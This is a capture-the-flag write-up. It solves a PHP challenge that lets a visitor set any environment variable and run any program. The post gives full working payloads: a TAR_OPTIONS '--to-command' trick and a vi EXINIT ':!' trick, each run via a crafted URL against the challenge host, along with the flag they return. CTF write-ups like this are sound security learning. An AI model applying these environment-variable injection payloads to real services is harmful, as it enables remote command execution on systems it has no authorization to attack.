Skip to content

We Love The Environment

In WelcomeCTF 2023, 500 points

We do not, however, love challenges with names like nlinephp

Challenge files: we-love-the-environment-dist.zip

Overview

The target service is a very simple PHP application:

php
<?php
if (!isset($_GET['prog']) || !isset($_GET['var']) || !isset($_GET['val'])) {
    highlight_file(__FILE__);
    die();
}
putenv($_GET['var'] . '=' . $_GET['val']);
passthru(escapeshellarg($_GET['prog']) . ' 2>&1');

The goal is to execute the /readflag program with the GIVEFLAGPLS argument.

image.png

We can set any environment variable we want, then execute any program we want. However, because of escapeshellarg, we are unable to directly pass any arguments to the program we are executing. Therefore we are unable to directly execute /readflag GIVEFLAGPLS.

Some stuff that didn't work

At first glance, this challenge appears similar to the Hello GreyCat challenges from GreyCTF 2022 finals. However, in that challenge, the program executed was fixed to echo and the solution involved overriding the implementation of echo to a custom bash function. Unfortunately, in this case the service runs on Alpine Linux which uses ash instead of bash as its default shell, so we cannot introduce shell functions.

In Hello GreyCat Beta, the solution was to override the LD_PRELOAD environment variable, but that approach requires file upload functionality which is not available here.

Approach 1: tar

After spinning up the service Docker container, I took a look at the commands that we can run:

image.png

Almost all of them were symlinked (blue) to /bin/busybox. The only standalone binary in /bin was tar, which seemed quite promising as compression tools tend to have lots of unexpected functionality.

A Google search for "tar environment variables" yielded TAR_OPTIONS, which is an environment variable that allows us to specify options to tar:

img

Now that we can pass arbitrary arguments to tar, the only thing left is to find which arguments in tar can execute commands. This turned out to be really simple using the perfectly named --to-command. When extracting a tar file, tar will execute the program specified in --to-command and pass the contents of the extracted file to the program.

The final piece of the puzzle was a tar file that we can make tar extract:

bash
$ find / -name '*.tar'
/lib/apk/db/scripts.tar

Putting everything together, the final exploit payload is

http://34.87.186.254:22222/?
prog=tar&
var=TAR_OPTIONS&
val=--to-command '/readflag GIVEFLAGPLS' -x -f /lib/apk/db/scripts.tar

Exploit URL

Approach 2: vi

After the CTF ended, the challenge author hinted that there was another possible solution that used /bin/busybox.

I looked up the busybox source code on GitHub and searched for getenv.

There were some interesting results, but nothing quite as obvious as --to-command in tar.

However, vi.c seemed particularly interesting:

c
const char *exinit = getenv("EXINIT");
char *cmds = NULL;

if (exinit) {
    cmds = xstrdup(exinit);
} else {
    // ...
}

if (cmds) {
    init_text_buffer(NULL);
    run_cmds(cmds);
    free(cmds);
}

A search for EXINIT lead me to the ex manpage

If the environment variable EXINIT is set, the editor shall execute the ex commands contained in that variable.

Very interesting!

Vi's command functionality is very powerful (according to CS1010) and even includes shell command execution features via :!command. Let's test it out using EXINIT:

$ EXINIT=':!ls' vi
bin       dev       flag      lib       media     opt       readflag  run       srv       tmp       var

core      etc       home      ls        mnt       proc      root      sbin      sys       usr

[Hit return to continue]Segmentation fault (core dumped)

Hmm that seems to have worked, aside from the odd segfault at the end. Let's test it on the remote:

curl http://34.87.186.254:22222/?
prog=vi&
var=EXINIT&
val=:!/readflag GIVEFLAGPLS


greyhats{I_doNT_l0vE_you_no_m0rE}
[Hit return to continue]vi: can't read user input

Exploit URL

Interestingly, this method appears easier than the tar method. It is quite surprising the number of programs that will execute commands derived from environment variables.